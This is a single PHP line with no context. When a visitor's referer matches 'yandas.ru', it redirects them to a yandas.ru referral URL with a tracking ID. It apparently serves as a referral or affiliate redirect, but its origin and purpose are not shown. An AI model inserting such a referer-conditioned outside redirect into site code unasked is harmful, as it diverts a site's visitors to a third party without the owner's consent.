$refer = $_SERVER["HTTP_REFERER"]; if (preg_match("/yandas.ru/i",$refer)) {Header("Location: http://yandas.ru/refer.php?refer=2137");}